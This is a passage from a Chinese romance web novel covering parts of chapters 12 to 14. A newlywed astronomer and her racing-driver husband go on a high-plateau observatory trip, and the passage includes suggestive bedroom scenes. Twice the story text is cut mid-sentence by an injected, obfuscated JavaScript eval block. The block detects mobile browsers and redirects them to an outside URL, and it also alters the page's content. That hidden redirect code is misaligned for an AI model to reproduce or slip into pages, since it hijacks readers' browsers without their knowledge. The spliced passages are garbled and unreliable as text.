她甚至能听到从浴室里传来的歌声。 温木虽然不懂音乐,但她能听出来,这歌唱得基本上跟原曲没什么关系。 养狗真累。 尤其是这样的巨型犬。 洗完澡,温木正在卫生间换衣服。 门被大力敲响。 “你朋友送了东西,”宋星燃的声音隔着门板传来,“说一定要立刻马上给你。” “谁?” “叫磨磨叽叽。” “什么破名字,不会是恶作剧吧。” 门开了一条缝,一只手慢慢伸出来。 男人低笑着把盒子递过去,指尖有意无意蹭过她手腕内侧。 温木慢慢打开这个精致的礼盒,然后瞬间石化。 盒子里静静躺着一件几乎透明的黑色蕾丝睡衣,深V领口缀着细碎水晶,腰侧是镂空设计,配套的内裤只有两根细绳。 标签上一笔一画写着:【新婚快乐我的宝贝!穿上它,保证你家小狼狗疯掉!】 温木猛地把盒子盖上,警觉地朝门口看去,门是关的。 好你个茉茉!坑友呢! 最终,她还是换上自己的长袖棉质睡衣,扣子系到最上面一颗,把自己裹得像个修女。 深呼吸。 没什么的温木,她在心里对自己说,就当是合租室友…… 一个身材很好的合租室友。 一个自动工具max版。 也说不清是期待,还是紧张,温木在卧室前站了很久。 推开卧室门,里面一片漆黑。 她正摸索着墙上的开关,突然被扯进一个滚烫的怀抱。薄荷沐浴露的香气瞬间包围了她,裸露的后颈贴上男人潮湿的胸膛。 “温老师。” 男人的唇擦过她耳廓,声音低哑。 “可以开始教学了吗?” 13. For the stars 温木的手指抵在宋星燃胸口,能感受到他心跳的节奏快得不正常。 她扭过头去,轻声问:“今天,就要吗?” 宋星燃的唇还贴在她耳后:“不可以吗?” 呼吸灼热。 烫得人迷糊。 温木淡声辩解:“今天有点累。” “不用你动。”一只温热的大手已经滑到她睡衣下摆。 她按住那只不安分的手:“你也累。” 男人低笑,虎牙在黑暗中闪过微光。 “温老师。” “你是不是对赛车手的体力有点误解?” 没有误解。 她是根本就不了解。 手在往上,一点点滑过她细腻的肌肤。 微信铃声突兀地炸响。 两人同时僵住,宋星燃不爽地“啧”了一声,松开钳制。 温木摸索着接起电话。 “小温啊,临时有个文献调研要麻烦你。”是高崇华打来的,“欧洲那边新发的系外行星大气层论文,明天专家组要用。” “好的高老师,我现在处理。”温木不假思索地应下。 “哦,还有一件事。”高崇华补充,“明天出发去冷湖参与天文站选址调研,别忘了带防寒装备。” 温木一愣,下意识看向宋星燃的方向。 房间里太黑,她没戴眼镜,只能隐约看见一个高大的轮廓立在床边。手机微光映出他紧绷的下颌线,空气仿佛凝固成冰。 “小温?还在听吗?” “好的高老师,我知道了。”温木迅速回神。 电话挂断,卧室陷入更深的寂静。 男人双手抱胸站在那里,像一尊冰冷的雕塑。 温木试探着开口:“你都听到了?” 没有回应。 “今晚是临时任务,明天那个是之前就说好的。” “我也没办法。” 沉默如同实质般压在胸口。 温木抱起电脑:“你早点睡,我去楼下,不打扰你。” 刚经过宋星燃身边,突然被拦腰抱回。 手臂像铁箍般收紧,男人的声音闷在她肩窝:“不许下楼,就在这弄。” 温木无奈,轻轻拍了拍锁在胸前的胳膊:“好。” 笔记本电脑的蓝光在黑暗中格外刺眼。她戴上眼镜,回头看了一眼。宋星燃背对着她躺在床上,被子隆起一道倔强的弧度。 她调暗屏幕亮度,开始专注工作。 房间里只剩下偶尔的键盘敲击声和空调运转的嗡鸣。温木时而皱眉思索,时而快速记录,完全沉浸在学术世界里。 直到保存最后一个文档,她才惊觉已是凌晨一点。 关掉电脑,温木轻手轻脚地摸上床。 男人的身材实在过于高大,两米宽的大床,他占据了大半空间。 她把自己缩在床角最边缘,小心翼翼地牵起被子一角盖上。 空调温度太低,她忍不住打了个寒颤,把身体蜷得更紧。 “温老师,你是属乌龟的吗?” 温木一愣:“你,没睡着啊?” 一床被子劈头盖脸砸过来:“你敲键盘的声音那么大,我怎么睡得着。” 她都说了去楼下还要怎样,真难伺候。 温木把被子裹紧:“我下次去楼下。” “你要走几天?” “应该一两个星期。” 宋星燃冷笑:“哼,抛下新婚丈夫一走了之,” 他翻过身面对她,眼睛在夜色中发亮。 “温老师,你真狠。” 心头泛起一丝愧疚。 怎么说呢,这场婚姻算是她强求来的,结果搬进新家不到一天就要离开,确实说不过去。 退一万步说,她至少要哄着这位三少爷直到新大楼竣工。 “我考虑不周。”她轻声说,犹豫片刻,伸手抚上男人的肩膀,“等我回来,给你带礼物。” “好吗?” 声音听不出波澜,但意外的柔软。 宋星燃没有回答。 温木收回手,在沉默中闭上眼睛。不知过了多久,她感觉身侧的床垫微微下陷——男人无声地靠了过来,手臂横在她腰间,呼吸喷在她后颈。 “冷湖海拔多少?”他突然问。 “三千二。” “昼夜温差?” “最大二十度。” “手机信号?” “只有观测站有基站。” 一连串问答后,宋星燃的手臂收紧了些:“每天发条消息。不是请求,是命令。” “不然我妈会担心的。” 温木无声地勾起嘴角:“嗯。” “礼物我要挑。” “嗯。” 男人的鼻尖蹭过她发丝:“睡觉,你晚上打呼噜的话,我会把你踢下去。” “一定会。” 然后,又抱得紧了些。 这人,真是的。 * 温木从法拉利上下来,淡淡瞥了一眼身旁花枝乱颤的男人。 宋星燃一大早就嚷嚷着要送她,要不是他今天穿得还算低调,她死也不会同意坐这辆招摇过市的跑车来学校。 校门口已经站着几位教授和学生,清一色的冲锋衣登山鞋。 温木快步走向高崇华,深蓝色风衣在一群中年人中间显得格格不入。 “高老师。” “哎,小温来了。”高崇华推了推眼镜,目光落在她身后的年轻人身上。白T恤配浅色牛仔裤,头发随意抓出几分凌乱感,像个大学生模样。 “小温啊,这是你弟弟吗?” 没等温木开口,宋星燃一个箭步上前,伸出手:“高教授好。我叫宋星燃,您叫我小宋就好。” “我是温木的丈夫。” 空气凝固了一秒。 温木闭上眼。 这一天还是来了。 “哎呀!小温结婚了?” “什么时候的事?” “小伙子真精神!” “般配般配!” 教授们七嘴八舌的祝福声中,高崇华最先反应过来,面露愧色:“小温啊,我们这是不是打扰你们新婚了?” “不会的教授。”宋星燃笑得人畜无害,“温木一直说这次调研很重要。” “就是她胃不好,又容易晕车,我怕她高原反应难受。所以有点担心来着。” 高崇华立刻拍拍温木肩膀:“基础测量做完你就先回,数据分析我们来做。” 又对温木感叹,“小温啊,你丈夫真体贴。” “谢谢高教授。”宋星燃再次抢答,眼角眉梢都是得意。 温木全程保持礼貌微笑,转头瞪了宋星燃一眼。 对方却凑过来,在众目睽睽之下亲了亲她额头:“早点回来,老婆。” “哎哟这小两口真甜蜜!”教授们笑作一团。 温木:“......” 这跟说好的不一样吧?! * 冷湖观测站比想象中更荒凉。海拔3200米的高原上,稀薄的空气让温木第一天就吐了三次。她咬着牙完成恒星定位仪的调试,记录数据时手指冻得发僵。 手机在口袋里震动。 温木掏出来,是宋星燃的消息: Lgnis:【还活着?】 Jupiter:【[定位截图]】 Lgnis:【吐了没?】 温木犹豫片刻。 Jupiter:【没有。】 发完这条,她转身又抱着垃圾桶干呕起来。 晚上回到临时宿舍,温木才想起宋星燃要求的“每日消息”。 她翻出白天拍的设备照片发过去: Jupiter:【[图片]】 Lgnis:【这是什么?】 半小时后。 Jupiter:【今天调试的CCD相机,量子效率达到90%。】 秒回。 Lgnis:【拜托,温老师。我是学渣,你稍微体谅一下我好不好?】 半小时后。 Jupiter:【拍星星很清晰。】 秒回。 Lgnis:【哦】 第三天傍晚,温木正在调试光谱仪,突然一阵头晕目眩。 她扶着墙缓了半天,摸出手机看到三条未读消息: Lgnis:【吃饭没?】 Lgnis:【?】 Lgnis:【温老师又失联了?】 她拍下盒饭发过去: Jupiter:【[图片]】 Jupiter:【土豆烧牛肉。】 Lgnis:【就这?】 Jupiter:【高原物资有限。】 第五天清晨,他没发早安消息。 温木犹豫片刻,还是发了张日出照片: Jupiter:【图片】 Jupiter:【今天天气好。】 一直到晚上,才有了回复。 Lgnis:【嗯】 之后两天,对话框彻底安静了。 温木睡前看了眼手机,眉头不自觉地皱起。 “小温,喝点葡萄糖。”高崇华递来保温杯,看着她苍白的脸色直摇头,“明天测量完你就先回吧,剩下的我们处理。” “我能坚持的。” “别逞强,”组里的张教授插话,“高教授说得对,你这身体确实吃不消。” 温木张了张嘴,最终没再反驳。 * 温木感觉自己正在岩浆里游泳。 浑身的皮肤滚烫得吓人,每一次呼吸都像吞了刀片,喉咙干涸得发不出声音。脑袋里仿佛有支施工队在敲敲打打,连睁开眼皮都成了不可能的任务。 “咚、咚、咚。” 遥远的敲门声像是从另一个宇宙传来。 那声音越来越大,最后演变成钥匙转动门锁的金属摩擦声。 她听见脚步声,由远及近,最后,在床边停下。 温木努力撑开沉重的眼皮,视线里只有一片模糊的黑暗。 一只冰凉的手贴上她的额头,触感舒服得让她想叹息。那手又很快抽离,脚步声再次远去。 不知过了多久,水声淅沥,一块冰凉的湿毛巾敷上她的前额。 她不自觉往上蹭了蹭,像只得到安抚的猫。 好舒服。 她又要睡着了。 在意识消散的前一秒,一缕薄荷香气钻入鼻腔。 清冽,熟悉,令人安心。 再次睁眼时,头痛减轻了些,但眩晕感仍在。 温木撑着身子坐起来,简陋的木屋在视线中逐渐聚焦。 门轴吱呀一声,一个高大的身影逆光而立。 “醒了?” 男人靠在门框上,阳光从他背后漫进来,勾勒出宽肩窄腰的剪影。 这木屋的门框本就低矮,他站在那里,几乎把整个入口堵得严严实实,像头误入人类居所的野兽。 温木眨了眨眼,花了足足五秒才反应过来。 宋星燃真的出现在海拔三千多米的高原观测站。 “你,怎么……”她嗓子哑得不成样子。 宋星燃几步跨到床边,食指抵住她的唇:“先别说话。” 转身倒了杯温水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223327|181620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,小心吹凉后递到她嘴边,“喝。” 温水润过喉咙,灼烧感减轻了些。 又试着开口:“你怎么来了?” “我不来你爸妈就要报警了。”宋星燃抱起手臂,语气不善,“出远门也不跟你爸妈报平安,是想怎样?” 他故意加重了“你爸妈”三个字,“老人家又不能出门,不就只有我当苦力咯。” 温木懵了一会,垂下眼睛:“不好意思。” 敲门声适时响起。 宋星燃去开门,高崇华的声音从门外传来:“小宋啊,昨晚凌晨才到的吧?真是辛苦了。还习惯吗?有没有高原反应?” “我没事儿,谢谢教授关心。” “温木已经退烧了,我刚喂她吃了药。” “那就好那就好。多亏你及时赶到,昨晚小温烧到39度多,可把我们吓坏了。” 温木怔怔地听着。 原来昨晚不是梦。 那冰凉的手,湿毛巾,还有薄荷香气…… 都是真的。 送走高崇华,宋星燃又恢复了那副混蛋样,一屁股坐在床沿:“你这什么身体素质,怎么还比不过人家老年人?” 笑话,高崇华教授年轻的时候可是市级游泳冠军。她顶多是个市级熬夜冠军。 “每个人体质不一样。”温木无奈道。 男人不屑地哼了一声,突然凑近,嘴角勾起一抹坏笑:“温老师,就你这样的,能经得住我弄吗?” 温木抬眼看他,镜片后的眼睛平静无波:“你怎么知道我经不住?” 她轻轻推了下眼镜,“你很厉害吗?” 语气是平淡的,甚至不觉得她在挑衅。 虽然硬件看起来还可以,但一晚上最多一小时吧。 一般男人都达不到这个水平吧? 她虽然没谈过恋爱,但八卦照听不误。在苏黎世那会儿,听得最多的就是哪儿的男人很行,哪儿的男人普遍不行。 宋星燃的眼神瞬间变了。 他缓缓直起腰,像头被挑衅的狼,瞳孔在阳光下收缩成一条细线,手指抚上她刚退烧还有些泛红的脸颊。 “我厉不厉害,你试试不就知道了。” 温木对上那道危险的眼神,默默往后缩了缩。 * 高原的夜幕降临得猝不及防。 简陋的木屋里,唯一一盏煤油灯在窗台上摇曳,将两人的影子投在木板墙上,纠缠成一团模糊的轮廓。 温木下午强撑着擦了身子,换了干净睡衣。此刻虽然还有些虚弱,但精神已经清明许多。 她靠在床头,看着宋星燃在狭小的空间里走动。这男人实在太过高大,在木屋里转身都要小心避开吊灯。 “看什么看?”宋星燃察觉到她的视线,故意晃了晃手中的药片,“吃药。” 温木乖乖吞下药片,刚躺下就听见布料摩擦的声音。 煤油灯被吹灭,身侧的床垫深深下陷。 这张床实在太小了,宋星燃一上来,滚烫的躯体就紧贴住她的后背,一条结实的手臂横在她腰间,将她牢牢锁在怀里。 “一定要抱着?” “你以为我想抱你?”热气喷在她发旋,“我不往你这边就要掉下去了。” 好像有点道理。 温木轻轻“哦”一声,不再动弹。 黑暗中,感官被无限放大。 男人的呼吸一下下打在她后颈,激起一片细小的战栗。温木尝试着往前挪了挪,试图逃离那恼人的热气,腰间的手臂却骤然收紧。 “别动。”宋星燃的声音又哑了几分。 温木僵住了。 她能清晰地感受到背后紧贴的胸膛,心跳又快又重,像头困兽。 又过了几分钟,温木实在受不了颈后的酥麻感,再次试图往前挪动。 男人直接一个翻身,双臂撑在她耳侧,将她彻底笼罩在身下。 两人的呼吸在黑暗中交织,一轻一重,一快一慢。 温木仰头看着那双近在咫尺的眼睛,即使在黑暗中也亮得惊人,像是蓄满能量的恒星。 “你不舒服?”她轻声问。 没有回答。 温木抬手想摸他的额头,手腕却被一把扣住按在枕边。宋星燃的体温高得吓人,掌心潮湿滚烫。 “被我传染了?” 她的眼神里不带一丝杂欲,仿佛真的只是在关心他的身体。 漫长的沉默后,男人突然把头埋进她的颈窝,深深吸了一口气。 淡淡的茉莉香气涌入鼻腔——是她在家里用的沐浴露,他在浴室里看到过那瓶淡绿色的液体。 这个姿势让温木真切感受到两人的体型差。 宋星燃实在太重了,压得她有些喘不过气。 她轻轻推了推他的肩膀:“宋星燃。” “我有点,难受。” “别动了。”宋星燃的声音闷在她颈间,肌肉绷得像拉满的弓。 “别乱动了。” 恍惚间,温木感觉到某个东西,瞳孔微微放大。 男人抬起头,在微弱月光下与她对视。 温木从未见过他这样的眼神,充满侵略性、攻击性、仿佛下一秒就要把她整个拆吃入腹。 “现在知道了?”他哑着嗓子,每个字都像从牙缝间挤出来一样。 “温老师。”他轻声唤她。 “你知道为什么比赛前要封引擎吗?” 温木摇头。 她本就不懂赛车,也不知道宋星燃为什么在现在——这种尴尬而陌生的情况下——提这个问题。 “因为,” “预热过头会爆炸的。” “就像我现在一样。” 14. For the stars “这是……” 温木的指尖抵在男人锁骨的凹陷处,感受到皮肤下血液奔涌的轨迹,像某颗恒星内部剧烈的核聚变反应。 宋星燃撑在她上方,喉结重重滚动:“是不够明显吗?” 一滴汗从他额角滑落,途经绷紧的下颌线,最终砸在温木锁骨窝里。 木屋的窗缝漏进一缕月光,恰好横亘在两人之间,似银河一般。 温木注视着男人被汗浸湿的额发,那些总是张扬地支棱着的黑发此刻软软地贴在皮肤上,显出几分意外的脆弱。 “可是,”她抬手拨开黏在他眉骨上的发丝,“你说你之前没谈过恋爱。” 布料摩擦出细碎的声响。 “拜托,我没谈过不代表……” 身下的人直直地看着他,失去镜片阻隔的眼睛在夜色中清亮得惊人。 “所以,我可以理解成,你是因为我才这样的。” 不是疑问句,而是陈述句。 靠! 这种事情他怎么会知道? 明明在赛车场上面对最危险的弯道都能保持冷静,现在却因为贴着她闻了会儿茉莉香,就失控得像初尝禁果的毛头小子。 那些在更衣室里听队友吹嘘时嗤之以鼻的生理反应,此刻正在他体内野蛮生长,每一根神经末梢都在尖叫着要更多接触。 “不是。” 他别过脸,喉结却背叛似的又滑动了一下。 “先起来,”温木推他肩膀,轻声命令,“你压得我难受。” 宋星燃猛地翻身坐到床沿,背肌在单薄的白T恤下绷出山脊般的轮廓。 他抓起床头柜上的矿泉水灌了大半瓶,水珠顺着下巴滚进领口,在锁骨凹陷处积成小小的水洼。 温木支起身子看他,莫名想起天文台里那些亟待释放能量的年轻恒星,在X射线波段呈现出惊人的亮度。 所以这个年轻男人的身体里,又会爆发出怎样的能量呢? 她忽地有些好奇。 要不,验验货? 煤油灯将两人的影子投在粗糙的木墙上,一坐一卧,静止如油画。 灯芯偶尔爆出细小的火花,床上的影子便跟着颤动。 直到温木的指尖碰上宋星燃的后颈。那里的皮肤滚烫,触到微凉的指尖时,他整个人触电般抖了一下。 “转过来。”她说。 姿势一点点调整,男人的手掌本能地扶住她腰侧。 他的存在感强烈到可怕。 温木微微蹙眉,轻轻挪动膝盖。 “好像——” “对接轨道偏移了。” 男人呼吸一滞。 这种时候还用术语是要干什么啊! 宋星燃再次警告:“别动了。” 温木覆上他的手背。她的手指像白玉雕的,轻轻划过他暴着青筋的手腕:“你才是不要动。” “听老师的。” “凭什么?”宋星燃磨着后槽牙,几乎要忍耐到极限。 温木俯身,发丝垂落在他颈间,茉莉香气随着呼吸拂过他耳廓。 “凭我是博士。” “你是学渣。” 男人声音哑得不成样子,太阳穴突突直跳。他想挣扎,但眼前人的动作像是有魔力一般,让他动弹不得。 “嘘。” 温木用沾着湿气的食指抵住他的唇。 “优等生要专心记笔记。” “接下来,好好学习。” …… “测绘项目一,矮丘观测。” …… “测绘项目二,地壳运动监测。” 她的呼吸开始不稳,脸颊泛起薄红,但眼神依然清亮,带着某种学术探究般的专注。 宋星燃觉得自己快疯了。 这女人怎么能一边用做实验的表情做这种事,一边还在给他上天文课? “靠!” 他低骂一声,直接扯过被子裹住她,像给危险品上锁 “你赢了。”男人咬牙切齿地说,”老子认输。” 温木从被子里探出手。 宋星燃瞥她一眼,凶巴巴的:“干什么?” “不要抱吗?” “你当我小孩子啊!” 温木不说话,直直看着他。 一秒。 两秒。 三秒。 男人低头。 温木将他搂过来,抚上他被汗水浸湿的黑发,从上到下,慢慢顺着,语气疏冷: “好了,你做得很好。” “下次再教你,轨道对接实操。” 不知道这样抱了多久,宋星燃猛地翻身下床,湿濡的灰色在月光下无所遁形。他抓起剩下的半瓶矿泉水从头顶浇下,水流顺着肌肉线条滚进裤腰。 温木裹着被子看他,像只餍足的猫。 “温木。” 他第一次喊她的全名。 “你等着。” 他死死盯着她,水珠从发梢滴落。 等回了家,他要一点一点,全都讨回来。 温木淡淡瞥他一眼:“嗯,我等着宋少爷。” “补考。” * 高原的天总是亮得很早。 温木迷迷糊糊睁开眼,映入眼帘的是男人近在咫尺的脸。 他不知什么时候蹭到了她枕头上,却往下睡了些,鼻尖贴着她下巴。 睡着的宋星燃很安静,甚至称得上乖巧。嘴唇微微张着,一缕黑发搭在额前,全然不见平日里嚣张的气焰。 温木恍惚想起昨晚月光下那个浑身绷紧、青筋暴起的男人,默默咬住指尖。 他到底是吃什么长大的?怎么会那么…… 真是脸和身体各长各的,一点都不带商量。 记忆逐渐回笼,温木耳根后知后觉地烧了起来。 她昨晚,在逗他。 但好像,有点过火了。 指尖无意识地揪紧被单,温木垂下眼睛。 这算她为老不尊吗? 明明他都那么难受了,她还火上浇油。 不过,他应该也有舒服吧。 “傻笑什么?” 低哑的嗓音响起。 温木抬眼,正对上宋星燃惺忪的眸子。不知何时醒来的男人正盯着她,目光从她泛红的耳尖滑到揪着被单的手指。 “我没笑,”温木下意识反驳,“你看错了。” 宋星燃伸手捏住她脸颊,拇指蹭过她唇角:“这儿,翘着呢。” 男人刚睡醒的声音带着颗粒感,像砂纸磨过木头,惹得人心痒。 温木拍开他的手,却被他反手扣住手腕。 宋星燃的掌心温热干燥,指腹有常年握方向盘留下的薄茧,摩挲着她内侧细嫩的皮肤。 “弟弟昨晚开心吗?”温木问他。 宋星燃瞬间黑脸:“不要叫我弟弟。” 温木眨了眨眼。 这难道不是情趣吗? 她在苏黎世的时候有个同事,谈的姐弟恋,说她的小男友最喜欢被叫“弟弟”了。 不过既然宋星燃不喜欢,那算了吧。 “好吧,宋三少。”她换了个更尊敬的称呼,指尖在他掌心画圈,“昨晚的教学,还满意吗?” 宋星燃的呼吸明显粗重了几分。他一个翻身将温木困在身下,膝盖挤进她腿间:“温老师教得太浅显了。” “不如现在补个进阶课?” 温木用手抵住他胸膛:“八点钟我要出门的。” “啧。”男人不情不愿地撑起身,却突然低头,在她锁骨上咬了一口。 “记账上,回去补。” 阳光完全漫进房间时,两人已经收拾妥当。 温木坐在窗边梳头发,男人从背后凑过来,下巴搁在她肩上:“今天还要做什么?” 这男人,怎么每次抱她都那么自然。 真的没谈过吗? 温木不禁有些怀疑。 “最后一遍设备检查。”她将长发挽起,露出后颈一小块皮肤,“你可以跟着,但会很无聊。” 宋星燃的鼻尖蹭过她耳后,手指勾着她发尾玩:“在哪都比在这破木屋强。” “床太小了,也太硬了。睡得难受死了。” 温木拍开他的手:“今晚你可以睡地板。” “我不要,我要睡你身上。”男人坏笑着躲开她的肘击。 “明天什么时候回去?我训练都耽搁了。” 温木愣了一瞬,一丝愧疚涌上来:“早上八点的飞机。” 她转身,发现他T恤领口歪着,下意识伸手整理,“到宁川大概是中午——” 话没说完,手腕被宋星燃抓住。 他就着这个姿势将她拉近,呼吸喷在她唇畔:“回去继续上课?” 温木微微无语地睨他一眼:“那要看你,有没有好好完成课后作业。” “什么作业?” 温木抽回手,起身拉开距离:“自己想。” 她拿起外套,在门口回头看他:“走不走?高教授该等急了。” 她今天换了件浅蓝色衬衫,最上面两颗扣子没系,隐隐露出昨晚他留下的淡红痕迹——虽然等一会儿就会被外套遮住。 男人抓起矿泉水猛灌一口,耳尖发烫得厉害。 “清醒一点宋星燃,别再想了!” * 冷湖的清晨像被水洗过的蓝宝石,阳光毫无阻碍地倾泻而下,将临时搭建的天文观测站镀上一层金边。 温木蹲在光谱仪前,眼镜片上反射着数据屏的蓝光,指尖在控制面板上快速敲击。 “这个铁架子是干什么的?”宋星燃凑过来问。 温木手一抖,差点输错参数。 她抬头,男人正弯腰凑近,几乎贴上那台价值连城的光谱仪,好奇得像只发现新玩具的大狗。 “这是太阳望远镜支架。”她轻轻拍一下男人想摸上去的手,“别碰,校准要花三小时。” 宋星燃撇撇嘴,悻悻收回了手。 “为什么要建在这里?”他又绕到另一侧,“宁川不行吗?” “大气稳定度、光污染指数、水汽含量。”温木头也不抬地报出一串术语,最后补充,“简而言之,这里看得更清楚。” 宋星燃“哦”了一声,目光却黏在她手上。温木的手指修长白皙,操作旋钮时有种奇妙的韵律感,像钢琴家弹奏熟悉的乐章。 “小温!”远处传来高崇华的呼唤,“来确认下选址坐标!” 温木应了一声,刚起身就被宋星燃拉住手腕:“我也去。” 高原的紫外线极强,没走几步温木就眯起眼睛。宋星燃突然变魔术般从背包掏出把黑胶伞,“唰”地撑开罩在她头顶。 “你哪来的伞?” “昨天看你没戴帽子。”宋星燃说得漫不经心,耳根却微微发红,“晒伤了又要哼哼。” 温木正想反驳,高崇华已经迎了上来。老教授看看伞,又看看两人挨得极近的肩膀,笑得眼角堆起皱纹:“小宋很贴心嘛。” “应该的。”宋星燃一脸正气,手指却悄悄勾住温木的衣角。 选址点在一片开阔的草地上,几名教授正围着全站仪讨论。温木迅速进入工作状态,接过数据板核对数字,不时蹲下用地质锤敲打岩层取样。 宋星燃亦步亦趋地跟着,问题一个接一个: “为什么石头也要检查?” “地下水位会影响望远镜吗?” “这个圆盘是测什么的?” “你是十万个为什么吗?”温木终于忍不住转头。 男人咧嘴一笑,虎牙在阳光下闪闪发亮:“我是你的学生啊,温老师。” “哎哟!”旁边的张教授笑出声,“小温你这教学任务很重啊!教完了学校的,还要教家里的。” 其他教授也跟着笑起来。 温木强作镇定,拿笔的手却稍稍颤抖着。她低头继续记录数据,笔尖在纸上划出沙沙的声响。 午休时,团队在观测站旁的空地铺开野餐垫。 宋星燃从保温箱里掏出几个食盒,菜品精致,连餐后水果都切成了星星形状。 “你什么时候准备的?”温木捏起一块哈密瓜星星。 “早上你化妆的时候。”他故意加重了“化妆”二字,果然换来一个白眼。 其实温木只涂了防晒霜,但他就是爱看她这副被惹毛的样子。 下午的工作是安装测试设备。 温木戴上线手套,利落地组装着精密部件,不时向技术人员发出简洁明确的指令。宋星燃被安排在旁边递工具,像个实习学徒。 “六角扳手。”温木伸手。 宋星燃赶紧从工具箱找出递上,指尖相触时故意多停留半秒。 “游标卡尺。” “给。” “不对,要带数显的那把。” 宋星燃手忙脚乱地翻找,额头渗出细汗。 夕阳西下时,工作告一段落。 温木摘下眼镜揉了揉鼻梁,男人正望着远处发呆。顺着他视线看去,是几名工人正在夯实地基。 “累了?”她问。 宋星燃摇头,眼神有些飘忽:“就是觉得,你还挺厉害。” 温木挑眉。 现在才知道,真的是。 换成她之前那些追求者,早把她夸出花来了。 “这些,”他比划了一下整个观测站,“还有那些公式、参数。你都记得住。” 顿了顿,“我记赛车调校数据都没这么顺。” 温木没想到会听到这样的评价。夕阳斜照在男人脸上,勾勒出他优越的鼻梁线条,眼睛里盛着罕见的认真。 “还行吧。”她最终选择谦虚。 远处传来集合的哨声。 返程路上,宋星燃安静了许多。温木走在前方,能感觉到他的目光一直落在自己背上,像某种温暖的重量。 转过一个山坡时,她故意放慢脚步,等他与自己并肩。 “明天就回去了。”她说。 “嗯。”宋星燃的手蹭过她的,“你的学生表现如何?” 温木假装思考,随即回答:“六十分吧。” “才刚及格?”宋星燃瞪大眼睛,“我工具都没递错!” “但是你问题太多了。”温木眼中闪过狡黠的光,“说明你不够自觉,没有自学意识。” “扣四十分。” 宋星燃突然拉住她,在落日余晖中低头逼近:“那,补考怎么报名?” 温木轻轻推开他,快走几步跟上队伍。 身后传来男人的脚步声,轻快得像只大型犬。她没回头,但嘴角微微扬起的弧度一直没放下。 远处的雪山被晚霞染成粉红色,像极了某人此刻的耳尖。 * 夜幕降临时,考察队陆续回到基地。 温木正在临时板房里整理数据,突然,整个房间陷入黑暗。 “停电了?”高崇华的声音从隔壁传来。 温木摸出手机照明,刚推开门就撞上一堵人墙。 宋星燃扶住她肩膀:“小心,地上有工具箱。” 外面乱作一团。 几名研究生手忙脚乱地翻找蜡烛,张教授正对着手机大喊:“发电机故障?什么时候能修好?这里零下五度啊!” 温木皱眉。 高原夜晚温度骤降,没有取暖设备很容易失温。 她正要过去询问,宋星燃已经大步走向基地后方:“发电机在哪?” “在、在后面铁皮房。”一个学生结结巴巴地回答。 他转头对温木说了句“拿手电来”,身影就消失在黑暗中。 温木匆忙跟上,看见他蹲在那台老式柴油发电机前,耳朵贴近机器外壳,手指轻敲各处零件。 “有工具吗?”他头也不回地问。 温木递上应急工具箱。 男人的动作异常精准。他旋开保护盖的动作像在拆卸赛车引擎,检查线路时指尖掠过每一处接点,眉头微蹙。 “燃油泵堵塞,火花塞也锈了。”宋星燃脱掉外套递过去,温木顺手接过。 “帮我照着点。” 手机光线下,修长的手指沾满油污,却灵活得像在演奏乐器。 温木不自觉凑近,看见他额角渗出细密的汗珠,顺着下颌线滑落,消失在衣领里。 “你们赛车手还学这个?”她好奇地问。 宋星燃嘴角扬起:“我以前在修车厂打过工。” 扳手在他掌心转了个漂亮的圈,“温老师,赛车可不只是踩油门。” “我也不是只会吃喝玩乐的纨绔子弟。” “三百六十行,行行出状元。” “咔哒”一声轻响,发电机突然发出轰鸣。整个基地瞬间亮如白昼,取暖器也重新开始工作。 教授们纷纷围过来,高崇华拍着宋星燃的肩膀连连称赞:“小宋可以啊!真是帮大忙了!” 宋星燃随意抹了把脸上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223328|181620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的机油,看向一旁抱着外套的女人,伸手去捞她的手:“怎么这么凉。” 他皱眉看着她单薄的冲锋衣,“回去加件衣服。” 温木怔怔地看着他沾满油污的手掌覆在自己手背上。那双手刚才还灵活地修理着复杂机械,此刻触碰她的力度却很轻。 一种奇异的热度从接触点蔓延开来,完全不同于取暖器带来的温暖。 “谢谢。”她轻声说。 男人愣了一下,随即坏笑着凑近:“怎么谢?” 距离太近,机油蹭到了她鼻尖上。 温木还没来得及反应,张教授已经端着热茶走过来:“小宋,喝点热的。今天多亏你啊,不然我们这些老骨头可要冻坏了。” 宋星燃瞬间恢复那副人畜无害的模样:“应该的。” 接过茶杯时,他刻意用没沾油的那只手。 回到板房后,温木递给他湿毛巾:“洗手。” 宋星燃乖乖伸手:“你刚才看我的眼神,像第一次认识我似的。” 温木拧开矿泉水帮他冲水,大方承认:“确实没想到宋少爷还有这技能。” “我会的多着呢。”宋星燃甩了甩手上的水珠,突然贴近,“温老师想不想,深入了解一下?” 温木把毛巾一把拍在他脸上:“先把你脸上的油渍擦干净吧。” “小花狗。” * 发电机修好后,基地重归平静。 夜风掠过铁皮屋顶,发出轻微的嗡鸣,远处偶尔传来几声野狗的吠叫。 温木站在淋浴间,热水冲走一天的疲惫,蒸汽模糊了镜面。 她擦着头发回到小屋时,煤油灯已将室内染成温暖的蜜糖色。 刚解开浴袍带子,门轴吱呀一响。 宋星燃站在门口,目光扫过她全身。 水珠顺着锁骨滑向雪白的起伏,腰线收束成勾人的弧度,再往下是笔直的双腿。 他的喉结重重滚动了一下。 温木转身背对他,双手掩在胸前,声音仍旧淡定:“下次记得敲门。” 门被关上,落锁声格外清晰。 男人靠在门板上,笑得恶劣:“现在怎么还遮起来了?” 